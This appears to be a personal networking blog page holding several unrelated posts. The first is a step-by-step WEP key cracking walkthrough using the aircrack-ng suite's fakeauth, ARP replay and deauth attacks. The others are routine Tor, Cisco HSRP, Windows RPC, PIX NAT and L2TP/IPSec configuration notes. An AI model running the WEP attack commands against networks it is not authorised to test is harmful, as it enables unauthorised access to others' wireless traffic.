Link

So let’s get started then..Back Track 2 loaded with the rt73 drivers.

The following commands is to get your WUSB54GC dongle into the monitor/injection mode.

“ifconfig rausb0 up”

“iwconfig rausb0 mode monitor channel 1 rate 1M”

“iwpriv rausb0 forceprism 1″

“iwpriv rausb0 rfmontx 1″

I have yet to find out what those iwpriv does other than turning on some private IO controls within the card or drivers.

To verify that your card is ready for injecting, execute “aireplay-ng –test rausb0″

You should see the following:

Trying broadcast probe requests…
Injection is working!
Found 15 APs

Now we are ready, open the first console and execute the following command

“airodump-ng –ivs -w capture –encrypt wep -a rausb0″

and it will return with a list of APs by BSSID, PWR, CH, ESSID and other interesting fields and data dumped to a capture-0x.ivs

Once you have determine your target, you may want to re-run airodump and filter by the BSSID or leave the command running to collect the IVs.

Next, we will execute a series of commands in different consoles together.

The fakeauth attack “aireplay-ng –fakeauth 10 -e MySSID -a 00:XX:XX:XX:XX:XX -h 00:11:22:33:44:55 rausb0″

You should see the following:

Waiting for beacon frame (BSSID: 00:XX:XX:XX:XX:XX)
Sending Authentication Request
Authentication successful
Sending Association Request
Association successful

The ARP replay attack “aireplay-ng –arpreplay -e <ESSID> -b <BSSID> -h 00:11:22:33:44:55 rausb0″

You should see the following:

Saving ARP requests in replay_arp-xxxxx.cap
You should also start airodump-ng to capture replies.
Read 53965 packets (got 31064 ARP requests), sent 48076 packets…(319 pps)

Here’s the part where I don’t get it.

Sometimes you have to run a deauth attack to get some ARP packets coming, sometimes I don’t need to.

aireplay-ng –deauth 10 -e MySSID -a <00:XX:XX:XX:XX:XX> -h 00:11:22:33:44:55 rausb0

Finally after collecting about 100k for 64bit WEP till 500k for 128bit WEP of IV packets, you may execute “aircrack-ng -b 00:XX:XX:XX:XX:XX capture-0x.ivs”

You should see the following:

[00:00:00] Tested 1 keys (got 208713 IVs)

KB depth byte(vote)
0 0/ 1 XX( XX) XX( XX) XX( XX) XX( XX) XX( XX) XX( XX)

0 0/ 2 XX( XX) XX( XX) XX( XX) XX( XX) XX( XX) XX( XX)

.

.

0 0/ 5 XX( XX) XX( XX) XX( XX) XX( XX) XX( XX) XX( XX)

KEY FOUND! [ XX:XX:XX:XX:XX ]
Decrypted correctly: 100%

Basically it provides a layer of security and privacy for most TCP based applications, like IM, web browsing, etc, even DNS requests are passed through Tor. Most importantly, it provides you with access to sites that are filtered off by your ISP transparent proxies.

Tor allows your traffic to be re-route all around the internet anonymously via a complex network of virtual tunnels. An overview of Tor can be found here and a detailed FAQ on Onion Routers here.

My blog entry today is: how to enable your JanusVM to work in a corporate network whereby your firewall blocks most of the outgoing ports except http and https.

You can tell Tor to only use the ports that your firewall permits by adding the following to your torrc configuration file.

FascistFirewall 1

ReachableDirAddresses *:80
ReachableORAddresses *:443

Update:

The latest beta version of Tor uses the following instead of the above

ReachableAddresses *:80

ASCII Network Diagram

[switch-a1]--[router-a1]--[ISP 1 Cloud]--[router-b1]--[switch-b1]--- Active Link
|          |                           |              |
[switch-a2]--[router-a2]--[ISP 1 Cloud]--[router-b1]--[switch-b2]--- Standby Link

I configured HSRP all on devices. My problem is, when a switch-a1 fails, router-a1 fails over to router-a2. but router-b1 will not fail over as the link between router-a1 and router-b1 via ISP 1 is still up.

I tried HSRP tracking, but the best tracking method I found is IP Route Reachability.
Track shows the object is up if the gateway to that network is still in your routing table.

so even configuring “track 100 ip route 10.2.2.2/32 reachability” doesn’t work, as the gateway is added manually as a static route.

Sample Config from Cisco.

!Router A Configuration
track 100 ip route 10.2.2.0/24 reachability
!
interface Ethernet0/0
ip address 10.1.1.21 255.255.255.0
standby 1 preempt
standby 1 ip 10.1.1.1
standby 1 priority 110
standby 1 track 100 decrement 10

Maybe HSRP is not that right solution for this deployment. 4 pairs of HSRP-ed devices connected.
Solution:

Well, my teammates manage to solve this problem. Apparently HSRP not just track the interface but objects like route reachability and others.

The route reachability somehow didn’t work as determines the object is up if the gateway to that network is still in your routing table, so even the link is down. As we are using static route, its still in the routing table.

We discovered IP SLA, but it’s for IOS 12.4, and our image is still 12.3. The old commands is rtr, Response Time Reporter. In short we use ICMP Echos from a router to another switch to see whether that tracked objects is up or not.

So by configuring that RTR, the router-a will check with the switch-b and vice vesa to see whether the link is up or not. Of coz, there will be a lot of small packets generated every few sec. No other choice.

To restrict them to 5000 – 5100, Use the Registry entries below.

– cut here –
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Internet]
“Ports”=hex(7):35,00,30,00,30,00,30,00,2d,00,35,00,31,00,30,00,30,00,00,00,00, 00
“PortsInternetAvailable”=”Y”
“UseInternetPorts”=”Y”

– cut here

I have a server connecting to the PIX DMZ interface with the IP of 172.17.1.1. This server is translated to an Inside IP 10.1.1.1 and to an Outside internet routable IP.

When VPN users connect from outside, they want to access the DMZ server via the 10.1.1.1 IP not the 172 IP.

They are able to connect to any host on the inside but unable to connect to the translated IP.

This is the static statement.
static (dmz,inside) 10.1.1.1 172.17.1.1 netmask 255.255.255.255

My Networks
Inside : 10.1.1.0/24
DMZ : 172.17.1.0/24
VPN Pool : 192.168.0.0/24

I posted this question at Cisco NetPro forum, and I got this reply,

“static (dmz,inside) 10.1.1.1 172.17.1.1 netmask 255.255.255.255

as the command sugguested, the translation is between the dmz and the inside interfaces. it only works when the packet originated from the inside, not the vpn clinet from the outside.”

So I concluded that the VPN clients are connecting from the outside interface and the static command i used is only for host on the inside interface.

I still wondering is there a way of writing my ACL, traffic from outside to dmz have a different translation but I have already translated dmz to outside with another static command. So… help?

Tricky things uncovered.
According to the documentation provided on how the L2TP is to be configured:

vpdn enable

!

vpdn-group 1
accept-dialin
protocol l2tp
virtual-template 1
terminate-from hostname BB-GGSN1
local name CPE-L2TP-Router
l2tp tunnel password 0 secret
!

interface Virtual-Template1
ip unnumbered FastEthernet0
peer default ip address pool l2tp-pool01
ppp authentication pap
!

ip local pool l2tp-pool01 10.9.2.201 10.9.2.220

For the curious souls like me, how the hell the router knows who’s BB-GGSN1.. so I added:

ip host BB-GGSN2 202.x.x.x2
ip host BB-GGSN1 202.x.x.x1

So the router is done but I still wondering, who’s going to auth all PAP request ?

PIX as follows:

access-list 90 permit ip host 203.x.x.x host 202.x.x.x6
nat (inside) 0 access-list 90
sysopt connection permit-ipsec
sysopt connection permit-l2tp
crypto ipsec transform-set transformset-strong esp-3des esp-sha-hmac
crypto ipsec transform-set transformset-strong mode transport
crypto dynamic-map dyna 20 match address 90
crypto dynamic-map dyna 20 set transform-set transformset-strong
crypto map site-map 10 ipsec-isakmp dynamic dyna
crypto map site-map interface outside
isakmp enable outside
isakmp key ******** address 202.x.x.x6 netmask 255.255.255.255
isakmp identity address
isakmp policy 10 authentication pre-share
isakmp policy 10 encryption 3des
isakmp policy 10 hash sha
isakmp policy 10 group 2
isakmp policy 10 lifetime 86400

The tunnel just don’t get up.

I did a debug.
debug crypto ipsec
debug crypto isakmp

The debug shows proxy identities mis-matched, the error code is IKMP_ERR_NO_RETRANS
I poke around with the error and change my access-list address. So I realised I had a typo and it causes the SA negotiation to fail.

access-list 90 permit ip host 203.X.X.X host 202.X.X.X1
access-list 90 permit ip host 203.X.X.X host 202.X.X.X2

This ACL not only tells what traffic needed to be protected by IPSec but somehow it identify the peers on both side of the tunnel’s end point. I have to read up on this as this is kind of new to me. Usually site to site configuration always have both network address for the ACL.

So far, the tunnel seems to be up. I have yet to test the VPN tunnels as the user can’t seems to access the provider’s network at this moment.

Both the show statement shows positive results.
show crypto ipsec sa
show crypto isakmp sa

I’m still curious, I didn’t configured any radius server to auth the PAP users.

This is my first post for documentation.
Lengthy.

Useful Links
Cisco Explaination on L2TP

Cisco Guide to Configuring Site to Site IPSec for PIX